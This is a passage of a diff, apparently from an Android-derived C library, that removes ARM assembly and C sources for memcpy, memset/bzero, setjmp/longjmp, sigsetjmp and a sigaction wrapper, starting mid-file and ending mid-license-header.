|
||||
/* make sure we have at least 64 bytes to copy */
|
||||
subs r2, r2, #64
|
||||
blo 2f
|
||||
|
||||
/* preload all the cache lines we need.
|
||||
* NOTE: the number of pld below depends on PREFETCH_DISTANCE,
|
||||
* ideally would would increase the distance in the main loop to
|
||||
* avoid the goofy code below. In practice this doesn't seem to make
|
||||
* a big difference.
|
||||
*/
|
||||
pld [r1, #(CACHE_LINE_SIZE*2)]
|
||||
pld [r1, #(CACHE_LINE_SIZE*3)]
|
||||
pld [r1, #(PREFETCH_DISTANCE)]
|
||||
|
||||
1: /* The main loop copies 64 bytes at a time */
|
||||
vld1.8 {d0 - d3}, [r1]!
|
||||
vld1.8 {d4 - d7}, [r1]!
|
||||
pld [r1, #(PREFETCH_DISTANCE)]
|
||||
subs r2, r2, #64
|
||||
vst1.8 {d0 - d3}, [r0, :128]!
|
||||
vst1.8 {d4 - d7}, [r0, :128]!
|
||||
bhs 1b
|
||||
|
||||
2: /* fix-up the remaining count and make sure we have >= 32 bytes left */
|
||||
add r2, r2, #64
|
||||
subs r2, r2, #32
|
||||
blo 4f
|
||||
|
||||
3: /* 32 bytes at a time. These cache lines were already preloaded */
|
||||
vld1.8 {d0 - d3}, [r1]!
|
||||
subs r2, r2, #32
|
||||
vst1.8 {d0 - d3}, [r0, :128]!
|
||||
bhs 3b
|
||||
|
||||
4: /* less than 32 left */
|
||||
add r2, r2, #32
|
||||
tst r2, #0x10
|
||||
beq 5f
|
||||
// copies 16 bytes, 128-bits aligned
|
||||
vld1.8 {d0, d1}, [r1]!
|
||||
vst1.8 {d0, d1}, [r0, :128]!
|
||||
|
||||
5: /* copy up to 15-bytes (count in r2) */
|
||||
movs ip, r2, lsl #29
|
||||
bcc 1f
|
||||
vld1.8 {d0}, [r1]!
|
||||
vst1.8 {d0}, [r0]!
|
||||
1: bge 2f
|
||||
vld4.8 {d0[0], d1[0], d2[0], d3[0]}, [r1]!
|
||||
vst4.8 {d0[0], d1[0], d2[0], d3[0]}, [r0]!
|
||||
2: movs ip, r2, lsl #31
|
||||
ldrmib r3, [r1], #1
|
||||
ldrcsb ip, [r1], #1
|
||||
ldrcsb lr, [r1], #1
|
||||
strmib r3, [r0], #1
|
||||
strcsb ip, [r0], #1
|
||||
strcsb lr, [r0], #1
|
||||
|
||||
ldmfd sp!, {r0, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
|
||||
#else /* __ARM_ARCH__ < 7 */
|
||||
|
||||
|
||||
.text
|
||||
|
||||
.global memcpy
|
||||
.type memcpy, %function
|
||||
.align 4
|
||||
|
||||
/*
|
||||
* Optimized memcpy() for ARM.
|
||||
*
|
||||
* note that memcpy() always returns the destination pointer,
|
||||
* so we have to preserve R0.
|
||||
*/
|
||||
|
||||
memcpy:
|
||||
/* The stack must always be 64-bits aligned to be compliant with the
|
||||
* ARM ABI. Since we have to save R0, we might as well save R4
|
||||
* which we can use for better pipelining of the reads below
|
||||
*/
|
||||
.fnstart
|
||||
.save {r0, r4, lr}
|
||||
stmfd sp!, {r0, r4, lr}
|
||||
/* Making room for r5-r11 which will be spilled later */
|
||||
.pad #28
|
||||
sub sp, sp, #28
|
||||
|
||||
// preload the destination because we'll align it to a cache line
|
||||
// with small writes. Also start the source "pump".
|
||||
PLD (r0, #0)
|
||||
PLD (r1, #0)
|
||||
PLD (r1, #32)
|
||||
|
||||
/* it simplifies things to take care of len<4 early */
|
||||
cmp r2, #4
|
||||
blo copy_last_3_and_return
|
||||
|
||||
/* compute the offset to align the source
|
||||
* offset = (4-(src&3))&3 = -src & 3
|
||||
*/
|
||||
rsb r3, r1, #0
|
||||
ands r3, r3, #3
|
||||
beq src_aligned
|
||||
|
||||
/* align source to 32 bits. We need to insert 2 instructions between
|
||||
* a ldr[b|h] and str[b|h] because byte and half-word instructions
|
||||
* stall 2 cycles.
|
||||
*/
|
||||
movs r12, r3, lsl #31
|
||||
sub r2, r2, r3 /* we know that r3 <= r2 because r2 >= 4 */
|
||||
ldrmib r3, [r1], #1
|
||||
ldrcsb r4, [r1], #1
|
||||
ldrcsb r12,[r1], #1
|
||||
strmib r3, [r0], #1
|
||||
strcsb r4, [r0], #1
|
||||
strcsb r12,[r0], #1
|
||||
|
||||
src_aligned:
|
||||
|
||||
/* see if src and dst are aligned together (congruent) */
|
||||
eor r12, r0, r1
|
||||
tst r12, #3
|
||||
bne non_congruent
|
||||
|
||||
/* Use post-incriment mode for stm to spill r5-r11 to reserved stack
|
||||
* frame. Don't update sp.
|
||||
*/
|
||||
stmea sp, {r5-r11}
|
||||
|
||||
/* align the destination to a cache-line */
|
||||
rsb r3, r0, #0
|
||||
ands r3, r3, #0x1C
|
||||
beq congruent_aligned32
|
||||
cmp r3, r2
|
||||
andhi r3, r2, #0x1C
|
||||
|
||||
/* conditionnaly copies 0 to 7 words (length in r3) */
|
||||
movs r12, r3, lsl #28
|
||||
ldmcsia r1!, {r4, r5, r6, r7} /* 16 bytes */
|
||||
ldmmiia r1!, {r8, r9} /* 8 bytes */
|
||||
stmcsia r0!, {r4, r5, r6, r7}
|
||||
stmmiia r0!, {r8, r9}
|
||||
tst r3, #0x4
|
||||
ldrne r10,[r1], #4 /* 4 bytes */
|
||||
strne r10,[r0], #4
|
||||
sub r2, r2, r3
|
||||
|
||||
congruent_aligned32:
|
||||
/*
|
||||
* here source is aligned to 32 bytes.
|
||||
*/
|
||||
|
||||
cached_aligned32:
|
||||
subs r2, r2, #32
|
||||
blo less_than_32_left
|
||||
|
||||
/*
|
||||
* We preload a cache-line up to 64 bytes ahead. On the 926, this will
|
||||
* stall only until the requested world is fetched, but the linefill
|
||||
* continues in the the background.
|
||||
* While the linefill is going, we write our previous cache-line
|
||||
* into the write-buffer (which should have some free space).
|
||||
* When the linefill is done, the writebuffer will
|
||||
* start dumping its content into memory
|
||||
*
|
||||
* While all this is going, we then load a full cache line into
|
||||
* 8 registers, this cache line should be in the cache by now
|
||||
* (or partly in the cache).
|
||||
*
|
||||
* This code should work well regardless of the source/dest alignment.
|
||||
*
|
||||
*/
|
||||
|
||||
// Align the preload register to a cache-line because the cpu does
|
||||
// "critical word first" (the first word requested is loaded first).
|
||||
bic r12, r1, #0x1F
|
||||
add r12, r12, #64
|
||||
|
||||
1: ldmia r1!, { r4-r11 }
|
||||
PLD (r12, #64)
|
||||
subs r2, r2, #32
|
||||
|
||||
// NOTE: if r12 is more than 64 ahead of r1, the following ldrhi
|
||||
// for ARM9 preload will not be safely guarded by the preceding subs.
|
||||
// When it is safely guarded the only possibility to have SIGSEGV here
|
||||
// is because the caller overstates the length.
|
||||
ldrhi r3, [r12], #32 /* cheap ARM9 preload */
|
||||
stmia r0!, { r4-r11 }
|
||||
bhs 1b
|
||||
|
||||
add r2, r2, #32
|
||||
|
||||
|
||||
|
||||
|
||||
less_than_32_left:
|
||||
/*
|
||||
* less than 32 bytes left at this point (length in r2)
|
||||
*/
|
||||
|
||||
/* skip all this if there is nothing to do, which should
|
||||
* be a common case (if not executed the code below takes
|
||||
* about 16 cycles)
|
||||
*/
|
||||
tst r2, #0x1F
|
||||
beq 1f
|
||||
|
||||
/* conditionnaly copies 0 to 31 bytes */
|
||||
movs r12, r2, lsl #28
|
||||
ldmcsia r1!, {r4, r5, r6, r7} /* 16 bytes */
|
||||
ldmmiia r1!, {r8, r9} /* 8 bytes */
|
||||
stmcsia r0!, {r4, r5, r6, r7}
|
||||
stmmiia r0!, {r8, r9}
|
||||
movs r12, r2, lsl #30
|
||||
ldrcs r3, [r1], #4 /* 4 bytes */
|
||||
ldrmih r4, [r1], #2 /* 2 bytes */
|
||||
strcs r3, [r0], #4
|
||||
strmih r4, [r0], #2
|
||||
tst r2, #0x1
|
||||
ldrneb r3, [r1] /* last byte */
|
||||
strneb r3, [r0]
|
||||
|
||||
/* we're done! restore everything and return */
|
||||
1: ldmfd sp!, {r5-r11}
|
||||
ldmfd sp!, {r0, r4, lr}
|
||||
bx lr
|
||||
|
||||
/********************************************************************/
|
||||
|
||||
non_congruent:
|
||||
/*
|
||||
* here source is aligned to 4 bytes
|
||||
* but destination is not.
|
||||
*
|
||||
* in the code below r2 is the number of bytes read
|
||||
* (the number of bytes written is always smaller, because we have
|
||||
* partial words in the shift queue)
|
||||
*/
|
||||
cmp r2, #4
|
||||
blo copy_last_3_and_return
|
||||
|
||||
/* Use post-incriment mode for stm to spill r5-r11 to reserved stack
|
||||
* frame. Don't update sp.
|
||||
*/
|
||||
stmea sp, {r5-r11}
|
||||
|
||||
/* compute shifts needed to align src to dest */
|
||||
rsb r5, r0, #0
|
||||
and r5, r5, #3 /* r5 = # bytes in partial words */
|
||||
mov r12, r5, lsl #3 /* r12 = right */
|
||||
rsb lr, r12, #32 /* lr = left */
|
||||
|
||||
/* read the first word */
|
||||
ldr r3, [r1], #4
|
||||
sub r2, r2, #4
|
||||
|
||||
/* write a partial word (0 to 3 bytes), such that destination
|
||||
* becomes aligned to 32 bits (r5 = nb of words to copy for alignment)
|
||||
*/
|
||||
movs r5, r5, lsl #31
|
||||
strmib r3, [r0], #1
|
||||
movmi r3, r3, lsr #8
|
||||
strcsb r3, [r0], #1
|
||||
movcs r3, r3, lsr #8
|
||||
strcsb r3, [r0], #1
|
||||
movcs r3, r3, lsr #8
|
||||
|
||||
cmp r2, #4
|
||||
blo partial_word_tail
|
||||
|
||||
/* Align destination to 32 bytes (cache line boundary) */
|
||||
1: tst r0, #0x1c
|
||||
beq 2f
|
||||
ldr r5, [r1], #4
|
||||
sub r2, r2, #4
|
||||
orr r4, r3, r5, lsl lr
|
||||
mov r3, r5, lsr r12
|
||||
str r4, [r0], #4
|
||||
cmp r2, #4
|
||||
bhs 1b
|
||||
blo partial_word_tail
|
||||
|
||||
/* copy 32 bytes at a time */
|
||||
2: subs r2, r2, #32
|
||||
blo less_than_thirtytwo
|
||||
|
||||
/* Use immediate mode for the shifts, because there is an extra cycle
|
||||
* for register shifts, which could account for up to 50% of
|
||||
* performance hit.
|
||||
*/
|
||||
|
||||
cmp r12, #24
|
||||
beq loop24
|
||||
cmp r12, #8
|
||||
beq loop8
|
||||
|
||||
loop16:
|
||||
ldr r12, [r1], #4
|
||||
1: mov r4, r12
|
||||
ldmia r1!, { r5,r6,r7, r8,r9,r10,r11}
|
||||
PLD (r1, #64)
|
||||
subs r2, r2, #32
|
||||
ldrhs r12, [r1], #4
|
||||
orr r3, r3, r4, lsl #16
|
||||
mov r4, r4, lsr #16
|
||||
orr r4, r4, r5, lsl #16
|
||||
mov r5, r5, lsr #16
|
||||
orr r5, r5, r6, lsl #16
|
||||
mov r6, r6, lsr #16
|
||||
orr r6, r6, r7, lsl #16
|
||||
mov r7, r7, lsr #16
|
||||
orr r7, r7, r8, lsl #16
|
||||
mov r8, r8, lsr #16
|
||||
orr r8, r8, r9, lsl #16
|
||||
mov r9, r9, lsr #16
|
||||
orr r9, r9, r10, lsl #16
|
||||
mov r10, r10, lsr #16
|
||||
orr r10, r10, r11, lsl #16
|
||||
stmia r0!, {r3,r4,r5,r6, r7,r8,r9,r10}
|
||||
mov r3, r11, lsr #16
|
||||
bhs 1b
|
||||
b less_than_thirtytwo
|
||||
|
||||
loop8:
|
||||
ldr r12, [r1], #4
|
||||
1: mov r4, r12
|
||||
ldmia r1!, { r5,r6,r7, r8,r9,r10,r11}
|
||||
PLD (r1, #64)
|
||||
subs r2, r2, #32
|
||||
ldrhs r12, [r1], #4
|
||||
orr r3, r3, r4, lsl #24
|
||||
mov r4, r4, lsr #8
|
||||
orr r4, r4, r5, lsl #24
|
||||
mov r5, r5, lsr #8
|
||||
orr r5, r5, r6, lsl #24
|
||||
mov r6, r6, lsr #8
|
||||
orr r6, r6, r7, lsl #24
|
||||
mov r7, r7, lsr #8
|
||||
orr r7, r7, r8, lsl #24
|
||||
mov r8, r8, lsr #8
|
||||
orr r8, r8, r9, lsl #24
|
||||
mov r9, r9, lsr #8
|
||||
orr r9, r9, r10, lsl #24
|
||||
mov r10, r10, lsr #8
|
||||
orr r10, r10, r11, lsl #24
|
||||
stmia r0!, {r3,r4,r5,r6, r7,r8,r9,r10}
|
||||
mov r3, r11, lsr #8
|
||||
bhs 1b
|
||||
b less_than_thirtytwo
|
||||
|
||||
loop24:
|
||||
ldr r12, [r1], #4
|
||||
1: mov r4, r12
|
||||
ldmia r1!, { r5,r6,r7, r8,r9,r10,r11}
|
||||
PLD (r1, #64)
|
||||
subs r2, r2, #32
|
||||
ldrhs r12, [r1], #4
|
||||
orr r3, r3, r4, lsl #8
|
||||
mov r4, r4, lsr #24
|
||||
orr r4, r4, r5, lsl #8
|
||||
mov r5, r5, lsr #24
|
||||
orr r5, r5, r6, lsl #8
|
||||
mov r6, r6, lsr #24
|
||||
orr r6, r6, r7, lsl #8
|
||||
mov r7, r7, lsr #24
|
||||
orr r7, r7, r8, lsl #8
|
||||
mov r8, r8, lsr #24
|
||||
orr r8, r8, r9, lsl #8
|
||||
mov r9, r9, lsr #24
|
||||
orr r9, r9, r10, lsl #8
|
||||
mov r10, r10, lsr #24
|
||||
orr r10, r10, r11, lsl #8
|
||||
stmia r0!, {r3,r4,r5,r6, r7,r8,r9,r10}
|
||||
mov r3, r11, lsr #24
|
||||
bhs 1b
|
||||
|
||||
|
||||
less_than_thirtytwo:
|
||||
/* copy the last 0 to 31 bytes of the source */
|
||||
rsb r12, lr, #32 /* we corrupted r12, recompute it */
|
||||
add r2, r2, #32
|
||||
cmp r2, #4
|
||||
blo partial_word_tail
|
||||
|
||||
1: ldr r5, [r1], #4
|
||||
sub r2, r2, #4
|
||||
orr r4, r3, r5, lsl lr
|
||||
mov r3, r5, lsr r12
|
||||
str r4, [r0], #4
|
||||
cmp r2, #4
|
||||
bhs 1b
|
||||
|
||||
partial_word_tail:
|
||||
/* we have a partial word in the input buffer */
|
||||
movs r5, lr, lsl #(31-3)
|
||||
strmib r3, [r0], #1
|
||||
movmi r3, r3, lsr #8
|
||||
strcsb r3, [r0], #1
|
||||
movcs r3, r3, lsr #8
|
||||
strcsb r3, [r0], #1
|
||||
|
||||
/* Refill spilled registers from the stack. Don't update sp. */
|
||||
ldmfd sp, {r5-r11}
|
||||
|
||||
copy_last_3_and_return:
|
||||
movs r2, r2, lsl #31 /* copy remaining 0, 1, 2 or 3 bytes */
|
||||
ldrmib r2, [r1], #1
|
||||
ldrcsb r3, [r1], #1
|
||||
ldrcsb r12,[r1]
|
||||
strmib r2, [r0], #1
|
||||
strcsb r3, [r0], #1
|
||||
strcsb r12,[r0]
|
||||
|
||||
/* we're done! restore sp and spilled registers and return */
|
||||
add sp, sp, #28
|
||||
ldmfd sp!, {r0, r4, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
|
||||
#endif /* __ARM_ARCH__ < 7 */
|
|
@ -1,117 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
.text
|
||||
|
||||
.global memset
|
||||
.type memset, %function
|
||||
|
||||
.global bzero
|
||||
.type bzero, %function
|
||||
|
||||
.align
|
||||
|
||||
/*
|
||||
* Optimized memset() for ARM.
|
||||
*
|
||||
* memset() returns its first argument.
|
||||
*/
|
||||
|
||||
bzero:
|
||||
mov r2, r1
|
||||
mov r1, #0
|
||||
|
||||
memset:
|
||||
/* compute the offset to align the destination
|
||||
* offset = (4-(src&3))&3 = -src & 3
|
||||
*/
|
||||
.fnstart
|
||||
.save {r0, r4-r7, lr}
|
||||
stmfd sp!, {r0, r4-r7, lr}
|
||||
rsb r3, r0, #0
|
||||
ands r3, r3, #3
|
||||
cmp r3, r2
|
||||
movhi r3, r2
|
||||
|
||||
/* splat r1 */
|
||||
mov r1, r1, lsl #24
|
||||
orr r1, r1, r1, lsr #8
|
||||
orr r1, r1, r1, lsr #16
|
||||
|
||||
movs r12, r3, lsl #31
|
||||
strcsb r1, [r0], #1 /* can't use strh (alignment unknown) */
|
||||
strcsb r1, [r0], #1
|
||||
strmib r1, [r0], #1
|
||||
subs r2, r2, r3
|
||||
ldmlsfd sp!, {r0, r4-r7, lr} /* return */
|
||||
bxls lr
|
||||
|
||||
/* align the destination to a cache-line */
|
||||
mov r12, r1
|
||||
mov lr, r1
|
||||
mov r4, r1
|
||||
mov r5, r1
|
||||
mov r6, r1
|
||||
mov r7, r1
|
||||
|
||||
rsb r3, r0, #0
|
||||
ands r3, r3, #0x1C
|
||||
beq 3f
|
||||
cmp r3, r2
|
||||
andhi r3, r2, #0x1C
|
||||
sub r2, r2, r3
|
||||
|
||||
/* conditionnaly writes 0 to 7 words (length in r3) */
|
||||
movs r3, r3, lsl #28
|
||||
stmcsia r0!, {r1, lr}
|
||||
stmcsia r0!, {r1, lr}
|
||||
stmmiia r0!, {r1, lr}
|
||||
movs r3, r3, lsl #2
|
||||
strcs r1, [r0], #4
|
||||
|
||||
3:
|
||||
subs r2, r2, #32
|
||||
mov r3, r1
|
||||
bmi 2f
|
||||
1: subs r2, r2, #32
|
||||
stmia r0!, {r1,r3,r4,r5,r6,r7,r12,lr}
|
||||
bhs 1b
|
||||
2: add r2, r2, #32
|
||||
|
||||
/* conditionnaly stores 0 to 31 bytes */
|
||||
movs r2, r2, lsl #28
|
||||
stmcsia r0!, {r1,r3,r12,lr}
|
||||
stmmiia r0!, {r1, lr}
|
||||
movs r2, r2, lsl #2
|
||||
strcs r1, [r0], #4
|
||||
strmih r1, [r0], #2
|
||||
movs r2, r2, lsl #2
|
||||
strcsb r1, [r0]
|
||||
ldmfd sp!, {r0, r4-r7, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
|
@ -1,136 +0,0 @@
|
|||
/* $OpenBSD: setjmp.S,v 1.2 2004/02/01 05:40:52 drahn Exp $ */
|
||||
/* $NetBSD: setjmp.S,v 1.5 2003/04/05 23:08:51 bjh21 Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1997 Mark Brinicombe
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by Mark Brinicombe
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/asm.h>
|
||||
#include <machine/setjmp.h>
|
||||
|
||||
/*
|
||||
* C library -- setjmp, longjmp
|
||||
*
|
||||
* longjmp(a,v)
|
||||
* will generate a "return(v)" from the last call to
|
||||
* setjmp(a)
|
||||
* by restoring registers from the stack.
|
||||
* The previous signal state is restored.
|
||||
*/
|
||||
|
||||
ENTRY(setjmp)
|
||||
/* Block all signals and retrieve the old signal mask */
|
||||
stmfd sp!, {r0, r14}
|
||||
mov r0, #0x00000000
|
||||
|
||||
bl PIC_SYM(_C_LABEL(sigblock), PLT)
|
||||
mov r1, r0
|
||||
|
||||
ldmfd sp!, {r0, r14}
|
||||
|
||||
/* Store signal mask */
|
||||
str r1, [r0, #(25 * 4)]
|
||||
|
||||
ldr r1, .Lsetjmp_magic
|
||||
str r1, [r0], #4
|
||||
|
||||
#ifdef SOFTFLOAT
|
||||
add r0, r0, #52
|
||||
#else
|
||||
/* Store fp registers */
|
||||
sfm f4, 4, [r0], #48
|
||||
/* Store fpsr */
|
||||
rfs r1
|
||||
str r1, [r0], #0x0004
|
||||
#endif /*SOFTFLOAT*/
|
||||
/* Store integer registers */
|
||||
stmia r0, {r4-r14}
|
||||
mov r0, #0x00000000
|
||||
bx lr
|
||||
|
||||
.Lsetjmp_magic:
|
||||
.word _JB_MAGIC_SETJMP
|
||||
|
||||
|
||||
ENTRY(longjmp)
|
||||
ldr r2, .Lsetjmp_magic
|
||||
ldr r3, [r0]
|
||||
teq r2, r3
|
||||
bne botch
|
||||
|
||||
/* Fetch signal mask */
|
||||
ldr r2, [r0, #(25 * 4)]
|
||||
|
||||
/* Set signal mask */
|
||||
stmfd sp!, {r0, r1, r14}
|
||||
sub sp, sp, #4 /* align the stack */
|
||||
|
||||
mov r0, r2
|
||||
bl PIC_SYM(_C_LABEL(sigsetmask), PLT)
|
||||
|
||||
add sp, sp, #4 /* unalign the stack */
|
||||
ldmfd sp!, {r0, r1, r14}
|
||||
|
||||
add r0, r0, #4
|
||||
#ifdef SOFTFLOAT
|
||||
add r0, r0, #52
|
||||
#else
|
||||
/* Restore fp registers */
|
||||
lfm f4, 4, [r0], #48
|
||||
/* Restore FPSR */
|
||||
ldr r4, [r0], #0x0004
|
||||
wfs r4
|
||||
#endif /* SOFTFLOAT */
|
||||
/* Restore integer registers */
|
||||
ldmia r0, {r4-r14}
|
||||
|
||||
/* Validate sp and r14 */
|
||||
teq sp, #0
|
||||
teqne r14, #0
|
||||
beq botch
|
||||
|
||||
/* Set return value */
|
||||
|
||||
mov r0, r1
|
||||
teq r0, #0x00000000
|
||||
moveq r0, #0x00000001
|
||||
bx lr
|
||||
#ifdef __ARM_26__
|
||||
mov r15, r14
|
||||
#else
|
||||
mov r15, r14
|
||||
#endif
|
||||
|
||||
/* validation failed, die die die. */
|
||||
botch:
|
||||
bl PIC_SYM(_C_LABEL(longjmperror), PLT)
|
||||
bl PIC_SYM(_C_LABEL(abort), PLT)
|
||||
b . - 8 /* Cannot get here */
|
|
@ -1,29 +0,0 @@
|
|||
#include <signal.h>
|
||||
|
||||
extern int __sigaction(int signum, const struct sigaction *act, struct sigaction *oldact);
|
||||
extern void __sig_restorer();
|
||||
|
||||
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
|
||||
{
|
||||
struct sigaction real_act;
|
||||
|
||||
/* If the caller has not set a custom restorer, then set up a default one.
|
||||
* The code will function properly without this, however GDB will not be
|
||||
* able to recognize the stack frame as a signal trampoline, because it
|
||||
* is hardcoded to look for the instruction sequence that glibc uses in
|
||||
* its custom restorer. By creating our own restorer with the same
|
||||
* sequence, we ensure that GDB correctly identifies this as a signal
|
||||
* trampoline frame.
|
||||
*
|
||||
* See http://sourceware.org/ml/gdb/2010-01/msg00143.html for more
|
||||
* information on this.*/
|
||||
if(act && !(act->sa_flags & SA_RESTORER)) {
|
||||
real_act = *act;
|
||||
real_act.sa_flags |= SA_RESTORER;
|
||||
real_act.sa_restorer = __sig_restorer;
|
||||
|
||||
act = &real_act;
|
||||
}
|
||||
|
||||
return __sigaction(signum, act, oldact);
|
||||
}
|
|
@ -1,62 +0,0 @@
|
|||
/* $OpenBSD: sigsetjmp.S,v 1.2 2004/02/01 05:40:52 drahn Exp $ */
|
||||
/* $NetBSD: sigsetjmp.S,v 1.3 2002/08/17 19:54:30 thorpej Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1997 Mark Brinicombe
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by Mark Brinicombe
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/asm.h>
|
||||
#include <machine/setjmp.h>
|
||||
|
||||
/*
|
||||
* C library -- sigsetjmp, siglongjmp
|
||||
*
|
||||
* longjmp(a,v)
|
||||
* will generate a "return(v)" from the last call to
|
||||
* setjmp(a, m)
|
||||
* by restoring registers from the stack.
|
||||
* The previous signal state is restored.
|
||||
*/
|
||||
|
||||
ENTRY(sigsetjmp)
|
||||
teq r1, #0
|
||||
beq PIC_SYM(_C_LABEL(_setjmp), PLT)
|
||||
b PIC_SYM(_C_LABEL(setjmp), PLT)
|
||||
|
||||
.L_setjmp_magic:
|
||||
.word _JB_MAGIC__SETJMP
|
||||
|
||||
ENTRY(siglongjmp)
|
||||
ldr r2, .L_setjmp_magic
|
||||
ldr r3, [r0]
|
||||
teq r2, r3
|
||||
beq PIC_SYM(_C_LABEL(_longjmp), PLT)
|
||||
b PIC_SYM(_C_LABEL(longjmp), PLT)
|
|
@ -1,129 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
